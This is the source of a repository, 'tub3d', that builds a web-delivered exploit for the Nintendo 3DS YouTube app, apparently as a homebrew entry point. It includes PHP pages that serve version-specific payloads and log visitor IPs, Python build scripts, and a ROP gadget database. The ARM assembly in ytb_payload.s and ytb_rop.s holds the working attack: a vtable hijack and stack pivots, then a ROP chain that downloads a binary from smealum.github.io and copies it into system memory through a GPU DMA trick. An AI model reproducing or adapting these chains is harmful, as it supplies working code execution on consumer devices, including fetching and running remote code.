├── README.md
├── ytb_page
├── get_version.php
├── get_payload.php
├── frame.html
├── index.php
├── stats.php
├── version.php
├── version.html
└── hax.php
├── scripts
├── buildAll.py
├── firmware_versions.py
├── urls2html.py
├── bin2html.py
├── makeHeaders.py
└── portRopDb.py
├── ytb_rop
├── unicode.tbl
└── ytb_rop.s
├── urls.txt
├── Makefile
├── ytb_payload
└── ytb_payload.s
├── ytb_ropdb
└── west_ropdb_proto.txt
└── ytb_include
└── ytb_include.s
/README.md:
--------------------------------------------------------------------------------
1 | # tub3d
2 |
--------------------------------------------------------------------------------
/ytb_page/get_version.php:
--------------------------------------------------------------------------------
1 | $v[0], "cup_0" => $v[1], "cup_1" => $v[2], "cup_2" => $v[3], "nup" => $v[4], "region" => $v[5]);
7 | $version_name = getVersion($version);
8 |
9 | echo($version_name);
10 | ?>
11 |
--------------------------------------------------------------------------------
/scripts/buildAll.py:
--------------------------------------------------------------------------------
1 | import sys
2 | import os
3 | import itertools
4 |
5 | firmVersions=["OLD", "NEW"]
6 | ytbVersions=["west", "jpn"]
7 |
8 | a=[firmVersions, ytbVersions]
9 |
10 | cnt=0
11 | for v in (list(itertools.product(*a))):
12 | os.system("make clean")
13 | os.system("make FIRM_VERSION="+str(v[0])+" YTB_VERSION="+str(v[1]))
14 | print(cnt)
15 |
--------------------------------------------------------------------------------
/ytb_page/get_payload.php:
--------------------------------------------------------------------------------
1 | $v[0], "cup_0" => $v[1], "cup_1" => $v[2], "cup_2" => $v[3], "nup" => $v[4], "region" => $v[5]);
7 | $version_name = getVersion($version);
8 |
9 | header("Location: http://smealum.github.io/ninjhax2/Pvl9iD2Im5/otherapp/".$version_name.".bin");
10 | die();
11 | ?>
12 |
--------------------------------------------------------------------------------
/scripts/firmware_versions.py:
--------------------------------------------------------------------------------
1 | import itertools
2 |
3 | a=[["USA", "EUR", "JPN"], [9], reversed(list(range(10))), [0], ["NEW", "OLD"]]
4 |
5 | for v in (list(itertools.product(*a))):
6 | firmware_version = str(v[4]) + " " + str(v[1]) + " " + str(v[2]) + " " + str(v[3]) + " " + str(v[0])
7 | pretty_firmware_version = str(v[0]) + " " + str(v[4]) + " " + str(v[1]) + "." + str(v[2]) + "." + str(v[3])
8 | print("")
9 |
--------------------------------------------------------------------------------
/ytb_page/frame.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
28 |
29 |
30 |
--------------------------------------------------------------------------------
/ytb_rop/unicode.tbl:
--------------------------------------------------------------------------------
1 | 6100=a
2 | 6200=b
3 | 6300=c
4 | 6400=d
5 | 6500=e
6 | 6600=f
7 | 6700=g
8 | 6800=h
9 | 6900=i
10 | 6A00=j
11 | 6B00=k
12 | 6C00=l
13 | 6D00=m
14 | 6E00=n
15 | 6F00=o
16 | 7000=p
17 | 7100=q
18 | 7200=r
19 | 7300=s
20 | 7400=t
21 | 7500=u
22 | 7600=v
23 | 7700=w
24 | 7800=x
25 | 7900=y
26 | 7A00=z
27 | 4100=A
28 | 4200=B
29 | 4300=C
30 | 4400=D
31 | 4500=E
32 | 4600=F
33 | 4700=G
34 | 4800=H
35 | 4900=I
36 | 4A00=J
37 | 4B00=K
38 | 4C00=L
39 | 4D00=M
40 | 4E00=N
41 | 4F00=O
42 | 5000=P
43 | 5100=Q
44 | 5200=R
45 | 5300=S
46 | 5400=T
47 | 5500=U
48 | 5600=V
49 | 5700=W
50 | 5800=X
51 | 5900=Y
52 | 5A00=Z
53 | 3000=0
54 | 3100=1
55 | 3200=2
56 | 3300=3
57 | 3400=4
58 | 3500=5
59 | 3600=6
60 | 3700=7
61 | 3800=8
62 | 3900=9
63 | 2E00=.
64 | 3A00=:
65 | 2F00=/
66 | 5C00=\
67 | 5F00=_
68 | /0000
69 |
--------------------------------------------------------------------------------
/scripts/urls2html.py:
--------------------------------------------------------------------------------
1 | import os
2 | import sys
3 | import struct
4 | import bin2html
5 |
6 | def convert_url(url):
7 | url = bytes(url, "ascii")
8 | url += bytearray([0] * (2 - (len(url) % 2))) # pads to u16 and adds an extra null byte if necessary
9 | url = struct.unpack("<%dH" % (len(url) // 2), url)
10 | return bin2html.do_convert(url, offset = 0x600 + 0x300)
11 |
12 | def convert_cookie(cookie):
13 | cookie = bytes(cookie, "ascii")
14 | cookie += bytearray([0xA])
15 | cookie += bytearray([0] * (2 - (len(cookie) % 2))) # pads to u16 and adds an extra null byte if necessary
16 | cookie = struct.unpack("<%dH" % (len(cookie) // 2), cookie)
17 | return bin2html.do_convert(cookie, offset = 0x700 + 0x300)
18 |
19 | path = sys.argv[2]
20 |
21 | for url in open(sys.argv[1], "r").readlines():
22 | url = url.rstrip()
23 | out = convert_url("http://smealum.github.io/ninjhax2/Pvl9iD2Im5/otherapp/" + url + ".bin") + "\n"
24 | out += convert_cookie(".m.youtube.com TRUE / FALSE 0 value " + url)
25 | open(path + "/" + url + ".html", "w").write(out)
26 |
--------------------------------------------------------------------------------
/ytb_page/index.php:
--------------------------------------------------------------------------------
1 | 2)
11 | {
12 | $v = explode(" ", $_POST["version"]);
13 | $version = array("model" => $v[0], "cup_0" => $v[1], "cup_1" => $v[2], "cup_2" => $v[3], "region" => $v[4]);
14 | $version_name = getVersion($version);
15 | error_log ( $version_name );
16 | }
17 | }else if(isset($_COOKIE[$cookie_name])){
18 | $version_name = $_COOKIE[$cookie_name];
19 | }
20 |
21 | // basic validation on version
22 | if(isset($version_name) && !preg_match('/[^A-Za-z0-9_]/', $version_name))
23 | {
24 | $url_filename = "./urls/".$version_name.".html";
25 |
26 | // prepare version for web payload
27 | preg_match('/(.*)_([UEJ])_(.*)_(.*)/', $version_name, $v);
28 | if($v[1] == "N3DS")$version["firm"] = "NEW";
29 | else $version["firm"] = "OLD";
30 | if($v[2] == "E" || $v[2] == "U") $version["ytb"] = "west";
31 | else $version["ytb"] = "jpn";
32 |
33 | include("hax.php");
34 | }else{
35 | // otherwise, display version selector
36 | include("version.html");
37 |
38 | // debug
39 | // foreach(array_keys($_COOKIE) as $paramName)
40 | // echo $paramName . "
";
41 | }
42 | ?>
43 |
--------------------------------------------------------------------------------
/urls.txt:
--------------------------------------------------------------------------------
1 | N3DS_E_11272_8203
2 | N3DS_E_12288_8203
3 | N3DS_E_13330_8203
4 | N3DS_E_14336_8203
5 | N3DS_E_15360_8203
6 | N3DS_E_16404_9221
7 | N3DS_E_17415_9221
8 | N3DS_E_19456_9221
9 | N3DS_E_20480_9221
10 | N3DS_J_11272_8203
11 | N3DS_J_12288_8203
12 | N3DS_J_13330_8203
13 | N3DS_J_14336_8203
14 | N3DS_J_15360_8203
15 | N3DS_J_16404_9221
16 | N3DS_J_17415_9221
17 | N3DS_J_19456_9221
18 | N3DS_J_20480_9221
19 | N3DS_U_11272_8203
20 | N3DS_U_12288_8203
21 | N3DS_U_13330_8203
22 | N3DS_U_14336_8203
23 | N3DS_U_15360_8203
24 | N3DS_U_16404_9221
25 | N3DS_U_17415_9221
26 | N3DS_U_19456_9221
27 | N3DS_U_20480_9221
28 | N3DS_U_20480_usa_9221
29 | N3DS_U_21504_usa_9221
30 | POST5_E_11272_8203
31 | POST5_E_12288_8203
32 | POST5_E_13330_8203
33 | POST5_E_14336_8203
34 | POST5_E_15360_8203
35 | POST5_E_16404_9221
36 | POST5_E_17415_9221
37 | POST5_E_19456_9221
38 | POST5_E_20480_9221
39 | POST5_J_11272_8203
40 | POST5_J_12288_8203
41 | POST5_J_13330_8203
42 | POST5_J_14336_8203
43 | POST5_J_15360_8203
44 | POST5_J_16404_9221
45 | POST5_J_17415_9221
46 | POST5_J_19456_9221
47 | POST5_J_20480_9221
48 | POST5_U_11272_8203
49 | POST5_U_12288_8203
50 | POST5_U_13330_8203
51 | POST5_U_14336_8203
52 | POST5_U_15360_8203
53 | POST5_U_16404_9221
54 | POST5_U_17415_9221
55 | POST5_U_19456_9221
56 | POST5_U_20480_9221
57 | POST5_U_20480_usa_9221
58 | POST5_U_21504_usa_9221
59 |
--------------------------------------------------------------------------------
/scripts/bin2html.py:
--------------------------------------------------------------------------------
1 | import os
2 | import sys
3 | import struct
4 |
5 | def val2pixel(val):
6 | b = (val & 0x1f) * 8;
7 | g = ((val >> 5) & 0x3f) * 4;
8 | r = ((val >> 11) & 0x1f) * 8;
9 | return "#%06X" % ((r << 16) + (g << 8) + b)
10 |
11 |
12 | def putPixel(x, y, val):
13 | if val != 0xFFFF:
14 | return '\n'
15 | else:
16 | return ""
17 |
18 |
19 | tileOrder = [0,1,8,9,2,3,10,11,16,17,24,25,18,19,26,27,4,5,12,13,6,7,14,15,20,21,28,29,22,23,30,31,32,33,40,41,34,35,42,43,48,49,56,57,50,51,58,59,36,37,44,45,38,39,46,47,52,53,60,61,54,55,62,63]
20 |
21 | w = 320
22 | h = 240
23 |
24 | def do_convert(payload, offset = 0, tiled = True):
25 | offset //= 2 # input in bytes, but should be in shorts
26 | ret = ""
27 | if tiled:
28 | o = 0
29 | for y in range(0,h,8):
30 | for x in range(0,w,8):
31 | for k in range(8*8):
32 | if (o - offset) >= len(payload):
33 | return ret
34 | elif o >= offset:
35 | i = tileOrder[k] % 8
36 | j = int((tileOrder[k]-i) / 8)
37 | # i = k % 8
38 | # j = int((k-i) / 8)
39 | ret += putPixel(x+i, y+j, payload[o - offset])
40 | o += 1
41 | else:
42 | for i in range(len(payload)):
43 | x = i % 240;
44 | y = int((i - x) / 240);
45 | ret += putPixel(x, y, payload[i])
46 | return ret
47 |
48 | if __name__ == '__main__':
49 | file = open(sys.argv[1], "rb")
50 | data = bytearray(file.read())
51 | file.seek(0, os.SEEK_END)
52 | len_data = file.tell()
53 | payload = list(struct.unpack("<%dH" % (len_data // 2), data))
54 | out = do_convert(payload)
55 | print(out)
56 |
--------------------------------------------------------------------------------
/scripts/makeHeaders.py:
--------------------------------------------------------------------------------
1 | from datetime import datetime
2 | import sys
3 | import ast
4 |
5 | def outputConstantsH(d):
6 | out=""
7 | out+=("#ifndef CONSTANTS_H")+"\n"
8 | out+=("#define CONSTANTS_H")+"\n"
9 | for k in d:
10 | out+=(" #define "+k+" "+str(d[k]))+"\n"
11 | out+=("#endif")+"\n"
12 | return out
13 |
14 | def outputConstantsS(d):
15 | out=""
16 | for k in d:
17 | out+=(k+" equ ("+str(d[k])+")")+"\n"
18 | return out
19 |
20 | def outputConstantsPY(d):
21 | out=""
22 | for k in d:
23 | out+=(k+" = ("+str(d[k])+")")+"\n"
24 | return out
25 |
26 | if len(sys.argv)<1:
27 | print("use : "+sys.argv[0]+" ...")
28 | exit()
29 |
30 | l = {"BUILDTIME" : "\""+datetime.now().strftime("%Y-%m-%d %H:%M:%S")+"\""}
31 |
32 | for a in sys.argv[2:]:
33 | if "=" in a:
34 | a = a.split("=")
35 | l[a[0]] = a[1]
36 | else:
37 | s=open(a, "r").read()
38 | if len(s) > 0:
39 | l.update(ast.literal_eval(s))
40 |
41 | if "FIRM_VERSION" in l and l["FIRM_VERSION"] == "NEW":
42 | l["FIRM_SYSTEM_LINEAR_OFFSET"] = "0x07C00000"
43 | else:
44 | l["FIRM_SYSTEM_LINEAR_OFFSET"] = "0x04000000"
45 |
46 | if "YTB_VERSION" in l and l["YTB_VERSION"] == "west":
47 | l["YTB_VIRTUAL_TRAMPOLINE"] = "0x00bc07f8"
48 | l["YTB_STACK_PIVOT"] = "0x00100d84" # ldmda r4!, {r2, r3, r6, r9, ip, sp, lr, pc}
49 | l["YTB_STACK_PIVOT2"] = "0x00119b84" # ldm r10!, {r4, r5, r9, r12, sp, lr, pc}
50 | else:
51 | # JPN
52 | l["YTB_VIRTUAL_TRAMPOLINE"] = "0x00bbf7f8"
53 | l["YTB_STACK_PIVOT"] = "0x00100d84" # ldmda r4, {r2, r3, r6, r9, ip, sp, lr, pc} (not a typo, the ! is the only difference with WEST)
54 | l["YTB_STACK_PIVOT2"] = "0x0010d8b4" # ldm r8!, {r8, ip, sp, lr, pc}
55 |
56 | l["IRON_CODE_LINEAR_BASE"] = "(0x30000000 + FIRM_SYSTEM_LINEAR_OFFSET - 0x00200000)"
57 |
58 | open(sys.argv[1]+".h","w").write(outputConstantsH(l))
59 | open(sys.argv[1]+".s","w").write(outputConstantsS(l))
60 | open(sys.argv[1]+".py","w").write(outputConstantsPY(l))
61 |
--------------------------------------------------------------------------------
/ytb_page/stats.php:
--------------------------------------------------------------------------------
1 | Inserted '%s' into stats\n", htmlentities($ip));
21 | }
22 | mysql_close($conn);
23 | }
24 | }
25 |
26 | function read_stats() {
27 | $conn = do_mysql_connect();
28 | if($conn) {
29 | $query = "select * from stats";
30 | $result = mysql_query($query);
31 | while($row = mysql_fetch_assoc($result)) {
32 | printf("%s,%s,%s
\n",
33 | htmlentities($row['ip']),
34 | htmlentities($row['version']),
35 | htmlentities($row['time']));
36 | }
37 | mysql_close($conn);
38 | }
39 | }
40 |
41 | function read_stats2() {
42 | $conn = do_mysql_connect();
43 | if($conn) {
44 | $query = "SELECT COUNT(DISTINCT ip) FROM stats;";
45 | $result = mysql_query($query);
46 | while($row = mysql_fetch_assoc($result)) {
47 | var_dump($row);
48 | }
49 |
50 | printf("
");
51 | printf("
");
52 |
53 | $query = "SELECT COUNT(DISTINCT ip), version FROM stats GROUP BY version ORDER BY COUNT(DISTINCT ip) DESC;";
54 | $result = mysql_query($query);
55 | while($row = mysql_fetch_assoc($result)) {
56 | printf("%s : %s
\n", htmlentities($row['version']), htmlentities($row['COUNT(DISTINCT ip)']));
57 | }
58 | mysql_close($conn);
59 | }
60 | }
61 | ?>
62 |
--------------------------------------------------------------------------------
/scripts/portRopDb.py:
--------------------------------------------------------------------------------
1 | from datetime import datetime
2 | import sys
3 | import ast
4 |
5 | def getWord(b, k, n=4):
6 | return sum(list(map(lambda c: b[k+c]<<(c*8),range(n))))
7 |
8 | def findPattern(p, t, addr, size):
9 | pattern = []
10 | if not(isinstance(size, tuple)):
11 | size = (size,)
12 |
13 | skip = False
14 | offset = 0
15 | for s in size:
16 | if skip:
17 | pattern += [None] * s
18 | else:
19 | for i in range(s):
20 | pattern += [getWord(p, addr + (i + offset) * 4, 4)]
21 | offset += s
22 | skip = not(skip)
23 |
24 | size = len(pattern)
25 |
26 | k = 0
27 | # not a perfect pattern search, but most likely good enough
28 | for i in range(0, len(t), 4):
29 | candidate = getWord(t, i, 4)
30 | if candidate == pattern[k] or pattern[k] == None:
31 | if k+1 == size:
32 | return i-k*4
33 | else:
34 | k += 1
35 | elif candidate == pattern[0] or pattern[0] == None:
36 | k = 1
37 | else:
38 | k = 0
39 | return None
40 |
41 | def outputConstantsTxt(d):
42 | out="{\n"
43 | for k in d:
44 | out+="\""+k[0]+"\" : \""+str(k[1])+"\",\n"
45 | out+="}\n"
46 | return out
47 |
48 | if len(sys.argv)<4:
49 | print("use : "+sys.argv[0]+" ")
50 | exit()
51 |
52 | l = ast.literal_eval(open(sys.argv[-2],"r").read())
53 |
54 | base = int(sys.argv[3], 0)
55 | proto = bytearray(open(sys.argv[1], "rb").read())
56 | target = bytearray(open(sys.argv[2], "rb").read())
57 |
58 | out = []
59 |
60 | for entry in l:
61 | if len(entry) == 3:
62 | # gadget search
63 | (name, in_addr, in_size) = entry
64 | print(name)
65 | out_addr = findPattern(proto, target, in_addr - base, in_size) + base
66 | out += [(name, hex(out_addr))]
67 | if len(entry) == 4:
68 | # const ptr search
69 | (name, in_addr, in_size, in_offset) = entry
70 | print(name)
71 | out_addr = findPattern(proto, target, in_addr - base, in_size)
72 | out_addr = getWord(target, out_addr + in_offset*4, 4)
73 | out += [(name, hex(out_addr))]
74 |
75 | open(sys.argv[-1],"w").write(outputConstantsTxt(out))
76 |
--------------------------------------------------------------------------------
/Makefile:
--------------------------------------------------------------------------------
1 | ROPDB_VERSIONS = west jpn
2 | ROPDB_TARGETS = $(addsuffix _ropdb.txt, $(addprefix ytb_ropdb/, $(ROPDB_VERSIONS)))
3 | ROPDB_TARGET = ytb_ropdb/$(YTB_VERSION)_ropdb.txt
4 |
5 | PAYLOAD_NAME = $(FIRM_VERSION)_$(YTB_VERSION)_payload.html
6 |
7 | WEB_TARGETS = web/index.php web/hax.php web/stats.php web/frame.html web/version.html web/payloads/$(PAYLOAD_NAME) web/urls
8 |
9 | SCRIPTS = "scripts"
10 |
11 | .PHONY: directories all build/constants clean
12 |
13 | all: directories build/constants web/payloads/$(PAYLOAD_NAME) $(WEB_TARGETS)
14 | web/urls:
15 | @python scripts/urls2html.py urls.txt web/urls/
16 | directories:
17 | @mkdir -p build
18 | @mkdir -p web
19 | @mkdir -p web/payloads
20 | @mkdir -p web/urls
21 |
22 |
23 | build/constants: ytb_ropdb/ropdb.txt
24 | @python $(SCRIPTS)/makeHeaders.py build/constants "YTB_VERSION=$(YTB_VERSION)" "FIRM_VERSION=$(FIRM_VERSION)" $^
25 | @touch build/constants
26 |
27 |
28 | web/payloads/$(PAYLOAD_NAME): build/ytb_payload.bin
29 | @python scripts/bin2html.py ytb_payload/ytb_payload.bin > $@
30 | web/%.php: ytb_page/%.php
31 | @cp $< $@
32 | web/%.html: ytb_page/%.html
33 | @cp $< $@
34 |
35 |
36 | build/ytb_rop.bin: ytb_rop/ytb_rop.bin
37 | @cp ytb_rop/ytb_rop.bin build/
38 | ytb_rop/ytb_rop.bin: ytb_rop/ytb_rop.s ytb_include/ytb_include.s build/constants
39 | @cd ytb_rop && armips ytb_rop.s
40 |
41 |
42 | build/ytb_payload.bin: ytb_payload/ytb_payload.bin
43 | @cp ytb_payload/ytb_payload.bin build/
44 | ytb_payload/ytb_payload.bin: ytb_payload/ytb_payload.s ytb_include/ytb_include.s build/constants build/ytb_rop.bin
45 | @cd ytb_payload && armips ytb_payload.s
46 |
47 |
48 | ytb_ropdb: $(ROPDB_TARGETS)
49 | ytb_ropdb/ropdb.txt: $(ROPDB_TARGET)
50 | @cp $(ROPDB_TARGET) ytb_ropdb/ropdb.txt
51 | ytb_ropdb/%_ropdb.txt: ytb_ropdb/west_ropdb_proto.txt
52 | @echo building ropDB for ytb version $*...
53 | @python scripts/portRopDb.py ytb_code_west.bin ytb_code_$*.bin 0x00100000 ytb_ropdb/west_ropdb_proto.txt ytb_ropdb/$*_ropdb.txt
54 |
55 | clean:
56 | @rm -rf build
57 | @rm -f ytb_ropdb/ropdb.txt
58 |
--------------------------------------------------------------------------------
/ytb_page/version.php:
--------------------------------------------------------------------------------
1 | =8)
64 | {
65 | return "19456";
66 | }
67 | }else if($v["cup_0"] == 10){
68 | if ($v["cup_1"]==0)
69 | {
70 | if ($v["region"]=="USA")
71 | {
72 | return "20480_usa";
73 | }
74 | else
75 | {
76 | return "19456";
77 | }
78 | }else if ($v["cup_1"]==1)
79 | {
80 | if ($v["region"]=="USA")
81 | {
82 | return "21504_usa";
83 | }
84 | else
85 | {
86 | return "20480";
87 | }
88 | }
89 | }
90 | }
91 |
92 | function getMsetVersion($v)
93 | {
94 | if($v["cup_0"] == 9 and $v["cup_1"] < 6)
95 | {
96 | return "8203";
97 | }
98 | else
99 | {
100 | return "9221";
101 | }
102 | }
103 |
104 | function getVersion($version)
105 | {
106 | return getFirmVersion($version)."_".getRegion($version)."_".getMenuVersion($version)."_".getMsetVersion($version);
107 | }
108 | ?>
109 |
--------------------------------------------------------------------------------
/ytb_payload/ytb_payload.s:
--------------------------------------------------------------------------------
1 | .nds
2 |
3 | .create "ytb_payload.bin",0x0
4 |
5 | ; code to sploit :
6 | ;
7 | ; r2 : points to PAYLOAD_LOC
8 | ;
9 | ; 102c55c: e5cd2036 strb r2, [sp, #54] ; 0x36
10 | ; 102c560: e28d2008 add r2, sp, #8
11 | ; 102c564: e58d2000 str r2, [sp]
12 | ; 102c568: e5902000 ldr r2, [r0]
13 | ; 102c56c: e592c194 ldr ip, [r2, #404] ; 0x194
14 | ; 102c570: e1a02001 mov r2, r1
15 | ; 102c574: e3a01000 mov r1, #0
16 | ; 102c578: e12fff3c blx ip
17 | ;
18 | ; YTB_VIRTUAL_TRAMPOLINE
19 | ; bc07f8: e5900004 ldr r0, [r0, #4]
20 | ; bc07fc: e1a06002 mov r6, r2
21 | ; bc0800: e3500000 cmp r0, #0
22 | ; bc0804: 0a00002c beq 0xbc08bc
23 | ; bc0808: e5900010 ldr r0, [r0, #16] ; r0 = *(PAYLOAD_LOC + 0x10) = PAYLOAD_LOC + 0x40
24 | ; bc080c: e2904004 adds r4, r0, #4 ; *(PAYLOAD_LOC + 0x10) + 0x4 = PAYLOAD_LOC + 0x44
25 | ; bc0810: 0a000009 beq 0xbc083c
26 | ; bc0814: e5940004 ldr r0, [r4, #4] r0 = *(*(PAYLOAD_LOC + 0x10) + 0x8) = PAYLOAD_LOC + 0x14
27 | ; bc0818: e3500000 cmp r0, #0
28 | ; bc081c: 0a000003 beq 0xbc0830
29 | ; bc0820: e5901000 ldr r1, [r0] ; r1 = **(*(PAYLOAD_LOC + 0x10) + 0x8) = PAYLOAD_LOC + 0x18 - 0x30
30 | ; bc0824: e5912030 ldr r2, [r1, #48] ; r2 = *(**(*(PAYLOAD_LOC + 0x10) + 0x8) + 0x30) = PAYLOAD_LOC
31 | ; bc0828: e1a01005 mov r1, r5
32 | ; bc082c: e12fff32 blx r2
33 |
34 | .include "../ytb_include/ytb_include.s"
35 |
36 | PAYLOAD_LOC equ PAYLOAD_PRIM_LOC
37 |
38 | .fill (0x1000 - .), 0xff
39 |
40 | .orga 0x0
41 | .word YTB_STACK_PIVOT ; stack_pivot : ldmda r4!, {r2, r3, r6, r9, ip, sp, lr, pc}
42 |
43 | .orga 0x10
44 | .word PAYLOAD_LOC + 0x40
45 | .word PAYLOAD_LOC - 0x30
46 |
47 | .orga 0x40 - 0x4
48 | .word PAYLOAD_LOC + rop ; sp
49 | .word 0xDEADBABE ; lr
50 | .word YTB_ROP_NOP ; pc
51 | .word PAYLOAD_LOC + 0x14
52 |
53 | .orga 0x194
54 | .word YTB_VIRTUAL_TRAMPOLINE ; cf above
55 |
56 | .orga 0x200
57 | rop:
58 | .word YTB_ROP_POP_R0PC ; pop {r0, pc}
59 | .word PAYLOAD_SEC_LOC ; r0
60 | .word YTB_ROP_POP_R1PC ; pop {r1, pc}
61 | .word PAYLOAD_LOC + payload_secondary ; r1
62 | .word YTB_ROP_POP_R2R3R4R5R6PC ; pop {r2, r3, r4, r5, r6, pc}
63 | .word payload_secondary_end - payload_secondary ; r2
64 | .word 0xFFFFFFFF ; r3 (garbage)
65 | .word 0xFFFFFFFF ; r4 (garbage)
66 | .word 0xFFFFFFFF ; r5 (garbage)
67 | .word 0xFFFFFFFF ; r6 (garbage)
68 | second_stack_pivot_data:
69 | .word YTB_MEMCPY + 0x4 ; skip the stack push because primary payload is read-only, ends in ldmfd sp!, {r4-r10,lr} ... bx lr | r4
70 | .word 0xFFFFFFFF ; r4 (garbage) | r5
71 | second_stack_pivot_data_jpn:
72 | .word 0xFFFFFFFF ; r5 (garbage) | r9 or r8
73 | .word 0xFFFFFFFF ; r6 (garbage) | r12 or ip
74 | .word PAYLOAD_SEC_LOC ; r7 (garbage) | sp
75 | .word PAYLOAD_LOC + second_stack_pivot_data_jpn ; r8 (garbage) | lr
76 | .word YTB_ROP_NOP ; r9 (garbage) | pc
77 | .word PAYLOAD_LOC + second_stack_pivot_data ; r10 (stack pivot data ptr)
78 | .word YTB_STACK_PIVOT2 ; ldm r10!, {r4, r5, r9, r12, sp, lr, pc} (WEST) or ldm r8!, {r8, ip, sp, lr, pc} (JPN)
79 |
80 | .orga 0x300 ; important for URL absolute positioning
81 | payload_secondary:
82 | .incbin "../build/ytb_rop.bin"
83 | payload_secondary_end:
84 |
85 | .Close
86 |
--------------------------------------------------------------------------------
/ytb_rop/ytb_rop.s:
--------------------------------------------------------------------------------
1 | .nds
2 |
3 | .create "ytb_rop.bin",0x0
4 |
5 | .loadtable "unicode.tbl"
6 |
7 | .include "../ytb_include/ytb_include.s"
8 |
9 | PAYLOAD_LOC equ PAYLOAD_SEC_LOC
10 | PARAMBLK_LOC equ (PAYLOAD_LOC + paramblk)
11 | YTB_COOKIES_FILEOBJECT equ (PAYLOAD_SEC_LOC + cookie_obj)
12 |
13 | .fill (0x1000 - .), 0xff
14 |
15 | .orga 0x0
16 | rop:
17 | set_thread_priority 0x18
18 |
19 | ; check for cookie-wiping keypress (call memclr if key is held)
20 | conditional_call YTB_PAD, YTB_COOKIEWIPE_KEY, 0x0, (PAYLOAD_LOC + cookie_data), 0x40, YTB_MEMCLR
21 |
22 | ; open data:/cookies file
23 | fopen YTB_COOKIES_FILEOBJECT, (PAYLOAD_LOC + cookie_filename), 0x7
24 | ; write cookie data
25 | fwrite YTB_COOKIES_FILEOBJECT, (PAYLOAD_LOC - 0x10), (PAYLOAD_LOC + cookie_data), 0x40, 0x1
26 |
27 | ; get string length of cookie data
28 | set_lr YTB_ROP_NOP
29 | .word YTB_ROP_POP_R0PC
30 | .word (PAYLOAD_LOC + cookie_data)
31 | .word YTB_STRLEN
32 | .word YTB_ROP_POP_R4PC
33 | .word 0x00000001 ; add 1 for null byte
34 | .word YTB_ROP_ADD_R0R0R4_POP_R4PC
35 | .word 0xFFFFFFFF ; r4 (garbage)
36 | .word YTB_ROP_MOV_R2R0_MOV_R0R2_POP_R4R5R6PC
37 | .word 0xFFFFFFFF ; r4 (garbage)
38 | .word 0xFFFFFFFF ; r5 (garbage)
39 | .word 0xFFFFFFFF ; r6 (garbage)
40 | .word YTB_ROP_POP_R3PC
41 | .word 0x00000000 ; r3 (upper half of u64 argument)
42 |
43 | ; set file size
44 | .word YTB_ROP_POP_R0PC
45 | .word YTB_COOKIES_FILEOBJECT
46 | .word YTB_SETFILESIZE
47 |
48 | ; commit changes to savedata
49 | control_archive (PAYLOAD_LOC + archive_name)
50 | control_archive (PAYLOAD_LOC + archive_name)
51 |
52 | getServiceHandle YTB_HTTPC_HANDLE, 0x70747468, 0x0000433A, 6 ; http:C
53 | httpcInitialize
54 | .word YTB_ROP_POP_R0PC
55 | .word 0x00000001 ; r0
56 | .word YTB_ROP_POP_R1PC
57 | .word YTB_HTTPC_STRUCT + 0x4 ; r1
58 | .word YTB_ROP_STR_R0R1_POP_R4PC
59 | .word 0xFFFFFFFF ; r4 (garbage)
60 | httpcCreateContextWrapper PAYLOAD_LOC + httpcContextStruct, PAYLOAD_LOC + payloadUrl, 0x1, 0x1
61 | httpcBeginRequest PAYLOAD_LOC + httpcSecondHandle, PAYLOAD_LOC + httpcContextHandle
62 | httpcReceiveData PAYLOAD_LOC + httpcSecondHandle, PAYLOAD_LOC + httpcContextHandle, PAYLOAD_THIRD_LOC, 0x00100000
63 |
64 | flush_dcache PAYLOAD_THIRD_LOC, 0x00100000
65 | gspwn (0x30000000 + FIRM_SYSTEM_LINEAR_OFFSET - 0x5FF000), PAYLOAD_THIRD_LOC, 0x0000A000
66 | sleep 100*1000*1000, 0
67 |
68 | ; gspgpuSetBufferSwap 0, 0x14C00000, (1<<8)|(1<<6)|1
69 | ; gspgpuSetBufferSwap 1, 0x14D00000, 1
70 |
71 | dsp_unloadcomponent
72 | dsp_registerinterruptevents
73 |
74 | .word YTB_ROP_POP_R0PC
75 | .word PARAMBLK_LOC
76 | .word YTB_ROP_POP_R1PC
77 | .word PAYLOAD_LOC
78 | .word 0x00101000
79 |
80 | .align 0x4
81 | httpcContextStruct:
82 | .word 0x00000000
83 | httpcContextHandle:
84 | .word 0x00000000
85 | httpcSecondHandle:
86 | .word 0x00000000
87 | .word 0x00000000
88 |
89 | .orga 0x600
90 | payloadUrl:
91 | ; .ascii "http://m.youtube.com/sec_payload.bin"
92 | ; .byte 0x0A
93 | ; .byte 0x00
94 |
95 | .orga 0x700
96 | cookie_data:
97 |
98 | .orga 0x780
99 | cookie_filename:
100 | .string "data:/cookies"
101 | .byte 0x00, 0x00
102 | archive_name:
103 | .ascii "data:"
104 | .byte 0x00
105 | .align 0x4
106 | cookie_obj:
107 | .word 0x00000000
108 | .word 0x00000000
109 | .word 0x00000000
110 | .word 0x00000000
111 | .word 0x00000000
112 |
113 | .fill (0x800 - .), 0xff
114 | paramblk:
115 | ; 0x00
116 | .word 0xFFFFFFFF
117 | .word 0xFFFFFFFF
118 | .word 0xFFFFFFFF
119 | .word 0xFFFFFFFF
120 | ; 0x10
121 | .word 0xFFFFFFFF
122 | .word 0xFFFFFFFF
123 | .word 0xFFFFFFFF
124 | ; 0x1C
125 | .word YTB_GSPGPU_GXCMD4
126 | ; 0x20
127 | .word YTB_GSPGPU_FLUSHDATACACHE_WRAPPER
128 | .word 0xFFFFFFFF
129 | .word 0xFFFFFFFF
130 | .word 0xFFFFFFFF
131 | ; 0x30
132 | .word 0xFFFFFFFF
133 | .word 0xFFFFFFFF
134 | .word 0xFFFFFFFF
135 | .word 0xFFFFFFFF
136 | ; 0x40
137 | .word 0xFFFFFFFF
138 | .word 0xFFFFFFFF
139 | ; 0x48
140 | .word 0x0000008d ; flags
141 | .word 0xFFFFFFFF
142 | ; 0x50
143 | .word 0xFFFFFFFF
144 | .word 0xFFFFFFFF
145 | ; 0x58
146 | .word YTB_GSPGPU_HANDLE
147 | .word 0xFFFFFFFF
148 | ; 0x60
149 | .word 0xFFFFFFFF
150 | ; 0x64
151 | .word 0x08010000
152 |
153 | .Close
154 |
--------------------------------------------------------------------------------
/ytb_ropdb/west_ropdb_proto.txt:
--------------------------------------------------------------------------------
1 | # format : ("ROP_GADGET_NAME", addr, word_size)
2 | # format : ("ROP_GADGET_NAME", addr, (word_size, word_skip_size, word_size))
3 | # format : ("APP_CONSTANT_PTR", pattern_addr, pattern_word_size, value_words_offset)
4 | # format : ("ROP_GADGET_NAME", addr, (word_size, word_skip_size, word_size), value_words_offset)
5 | [
6 | # pop gadgets
7 | ("YTB_ROP_NOP", 0x0012d444, 0x1), # pop {pc}
